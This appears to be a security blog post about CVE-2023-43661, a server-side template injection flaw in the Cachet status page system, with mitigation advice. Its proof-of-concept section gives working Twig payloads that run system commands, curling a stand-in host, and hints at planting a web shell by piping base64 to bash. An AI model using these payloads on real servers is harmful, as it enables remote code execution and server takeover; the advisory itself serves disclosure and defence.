CVE-2023-43661: RCE bug in Cachet open-source status page system
In the realm of digital services, consistent communication with customers and stakeholders is pivotal. Organizations large and small rely on status pages to provide real-time updates about their systems and services, ensuring transparency and trust. Standing tall amongst status page systems is Cachet, an open-source marvel that is both powerful and flexible, enabling businesses to create customizable status pages that resonate with their brand’s ethos.
Recently, the digital community has been abuzz with discussions about CVE-2023-43661, which comes with a high CVSS score of 9.1. This particular vulnerability shines a spotlight on a critical flaw within Cachet – the possibility of remote code execution via server-side template injection (SSTI).
To understand the gravity, let’s delve a bit into SSTI. Typically, template engines construct web pages by blending static templates with dynamic data. However, when user input gets directly concatenated into a template instead of being fed as data, attackers find an opportunity. They can inject manipulative template directives, potentially gaining unprecedented control over the server. With server-side processing, the ramifications of such injections can be alarmingly vast.
In Cachet’s case, this vulnerability originates from its template functionality. This feature, which was designed to enhance customization, inadvertently provides malicious users with the capability to execute any code on the server. The flaw is accentuated due to ineffective filtration and the utilization of an older twig version.
The community appreciates transparency, and the technical nuances of this vulnerability have been diligently shared on Github’s security page. While the revelation is alarming, solutions are at hand.
PoC
- Log in as a default user (Not an admin);
- Create an incident with name slug1 and with content: {{ [‘curl yourhost.com’,”]|sort(‘system’) }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce(‘system’,’curl yourhost.com’)}};
- Get an API token from your account settings (X-Cachet-Token);
- Trigger remote code execution using the api route:
- Obtain Remote Code Execution. You can also upload a web-shell using some base64 tricks with pipe to bash.
For those who rely on Cachet, mitigation steps are crucial:
1. Stay Updated: Ensure that TWIG is updated to its latest version.
2. Enhance Filtration: Implement rigorous filtration of user-controlled data by adhering to any safe pattern.
3. Leverage Sandboxed Mode: Switch to the sandboxed twig mode, adding an additional layer of protection.
4. Limit User Access: Prevent non-admin users from triggering this vulnerability, especially via the API endpoint.
CVE-2023-43661 is a serious security vulnerability that should be patched as soon as possible. If you are using Cachet, please upgrade to the latest version or mitigate the risk by following the steps outlined above.